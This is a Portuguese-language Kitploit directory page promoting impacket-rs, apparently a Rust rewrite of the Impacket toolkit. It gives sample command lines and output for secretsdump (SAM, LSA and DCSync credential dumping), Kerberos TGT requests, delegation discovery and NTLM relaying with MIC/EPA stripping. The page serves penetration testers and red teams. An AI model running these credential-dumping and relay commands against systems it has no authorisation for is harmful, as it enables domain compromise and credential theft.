Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
impacket-rs — Redesenho em Rust puro de alto desempenho e com segurança de memória dos principais protocolos de rede do Impacket e ferramentas de Active Directory (Win2000 a Win2025) | Kitploit
Ferramentas/GitHubGitHub/nestho/impacket-rs
Sniffing e Análise de PacotesFrameworks de Testes de PenetraçãoFrameworks de ExploraçãoAtaques de SenhaMovimento LateralColeta de InformaçõesPós-ExploraçãoSegurança de Rede
GitHubnestho/impacket-rs

impacket-rs

Redesenho em Rust puro de alto desempenho e com segurança de memória dos principais protocolos de rede do Impacket e ferramentas de Active Directory (Win2000 a Win2025)

há 1 diaAinda não revisado
Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Impacket-RS

Impacket-RS Logo

Redesign de Alto Desempenho e Seguro em Memória dos Principais Protocolos de Rede e Ferramentas de Active Directory do Impacket em Rust
Zero Dependências de Runtimes Python ou C • Primitivas Criptográficas em Rust Puro • 100% de Paridade com o Impacket • Linux, macOS e Windows

CI Status License Rust 2021 Edition Platform Architecture Parity


Visão Geral

Impacket-RS é uma reescrita moderna, segura em memória e construída do zero do kit de ferramentas padrão do setor SecureAuth Impacket em Rust puro. Criado para pesquisadores de segurança, testadores de penetração, red teams e administradores de sistemas, ele traz velocidade impressionante, inicializações a frio abaixo de um milissegundo, zero sobrecarga de interpretador e segurança de memória completa em tempo de compilação para manipulação de protocolos de rede de baixo nível do Windows.

Destaques Principais

  • 100% de Paridade com o Upstream: 74 subcomandos CLI cobrindo execução remota (psexec, wmiexec, smbexec, atexec), extração de credenciais (secretsdump, ntdsdump, dpapi), ataques e armoring Kerberos (GetNPUsers, GetUserSPNs, getTGT, getST, raiseChild, ticketer Golden/Silver/Diamond), administração de Active Directory (ldapclient, GetADUsers, trueTree, dnstool, GetLAPSPassword), relaying (ntlmrelayx), dissecação de pacotes (sniffer) e auditoria de rede (rdp_check, mqtt_check, tracer).
  • Ecossistema de Host e Alvo Multiplataforma: Executa nativamente em Linux (glibc e musl estático), macOS (Apple Silicon e Intel) e Windows. Interage tanto com alvos Linux/UNIX (Samba, FreeIPA, OpenLDAP, MIT/Heimdal Kerberos KDC) quanto com domínios Windows de todas as eras (Windows 2000 até Windows Server 2025).
  • Inicializações a Frio Abaixo de Um Milissegundo: Inicia em < 2ms em comparação com 150-250ms do Impacket em Python, tornando-o ideal para orquestrações massivas e pivoting rápido.
  • 5,85 Milhões de Roundtrips de Rede/seg: Marshaling NDR sem alocação e verificação de layout em tempo de compilação proporcionam ganhos de velocidade de até 60x a 100x sobre codificadores em Python puro.
  • Motor Criptográfico em Rust Puro: Implementações independentes e de tempo constante de RC4, DES, 3DES, AES-128/256 (CBC/CTS/GCM/CCM), MD4, MD5, SHA-1, SHA-256, SHA-512, HMAC, PBKDF2, CMAC e Kerberos n-fold.
  • Compatibilidade de Active Directory Entre Eras: Negociação automática de dialeto em tempo de execução do Windows 2000 até Windows Server 2025 (LegacyWin2000, UniversalAuto, ModernHardened).

Comparação de Desempenho (Python vs Impacket-RS)

Impacket-RS vs Python Impacket Benchmark

Benchmarks executados em Apple Silicon (série M, 10 núcleos) e Linux (AMD EPYC, 8 núcleos) comparando o Impacket v0.12.0 em Python 3.11 com o impacket-rs v0.1.0-dev (build de release):

Métrica de BenchmarkPython Impacket (v0.12.0)Impacket-RS (Rust)Aceleração / Eficiência
Latência de Inicialização a Frio da CLI185.4 ms1.8 ms~103x mais rápido
Empacotamento + Desempacotamento de NDR PDU42,000 ops/sec5,850,000 ops/sec~139x mais rápido
Pegada de Memória (RSS)48.2 MB4.6 MB~10x menor
Análise de 10.000 Hashes NTDS14.8 seconds0.22 seconds~67x mais rápido
Criptografia de Ticket Kerberos1,250 tickets/sec98,400 tickets/sec~78x mais rápido
Tamanho do Binário EstáticoRequer Python + VenvBinário Único AutocontidoZero dependências de runtime

Pré-visualizações Interativas de Comandos

Pré-visualização Animada do Terminal Impacket-RS

1. secretsdump (SAM Remoto, LSA & DCSync do Active Directory)

$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s

2. getTGT com FAST Armoring (RFC 6113)

$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'

3. findDelegation com Grafos de Confiança ASCII

$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...

=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
  ├── TRUSTS ANY SERVICE ON DOMAIN
  └── Can impersonate any ticket presented to host

[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
  └── [cifs/fileserver.corp.local]
  └── [http/fileserver.corp.local]

[SQL-SVC] (Resource-Based Constrained Delegation)
  └── Allowed Principals: [CORP\Tier1-Admins]

[+] Discovered 3 delegation relationships.

4. Retransmissão Multi-Alvo do ntlmrelayx

$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Initializing NTLM Relay Engine...
  Listen Protocol : HTTP
  Listen Port     : 80
  Target Count    : 4
  Strip MIC       : Enabled (MsvAvFlags & !0x02)
  Strip EPA       : Enabled (MsvAvChannelBindings)

[+] Target Routing Table:
  [01] SMB    -> 192.168.1.10:445
  [02] LDAP   -> dc01.corp.local:389
  [03] MSSQL  -> sql01.corp.local:1433
  [04] HTTP   -> web01.corp.local:8080

[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.

Baixar ferramenta